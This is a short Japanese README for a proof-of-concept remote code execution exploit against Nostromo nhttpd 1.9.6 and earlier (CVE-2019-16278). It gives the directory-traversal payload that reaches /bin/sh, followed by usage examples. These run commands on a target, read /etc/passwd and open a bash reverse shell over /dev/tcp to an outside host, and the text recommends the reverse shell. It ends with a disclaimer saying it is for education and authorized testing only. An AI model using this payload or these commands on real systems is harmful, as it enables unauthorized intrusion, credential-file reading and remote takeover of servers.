
Nostromo nhttpd 1.9.6以下向けPoC RCEエクスプロイト
Nostromo nhttpd バージョン 1.9.6 以前における、HTTPリクエスト処理内のディレクトリトラバーサルを利用したリモートコード実行の脆弱性。
このエクスプロイトは、URLエンコードされたCRLF文字(%0d)を使用してディレクトリトラバーサル脆弱性を悪用し、/bin/shにアクセスして任意のコマンドを実行します。
/.%0d./.%0d./.%0d./.%0d./bin/shecho\necho\n<command> 2>&1python3 cve-2019-16278.py <TARGET_IP> <PORT> <COMMAND>
python3 cve-2019-16278.py 192.168.1.100 80 "id"
python3 cve-2019-16278.py 10.10.10.10 8080 "cat /etc/passwd"
python3 cve-2019-16278.py target.com 80 "whoami"
python3 cve-2019-16278.py 10.10.10.10 80 "bash -c 'bash -i >& /dev/tcp/10.10.20.20/4444 0>&1'"
リバースシェル推奨、時々スクリプトが何も表示しないことがあります
このツールは教育目的および許可されたセキュリティテストのみを対象としています。コンピュータシステムへの不正アクセスは違法です。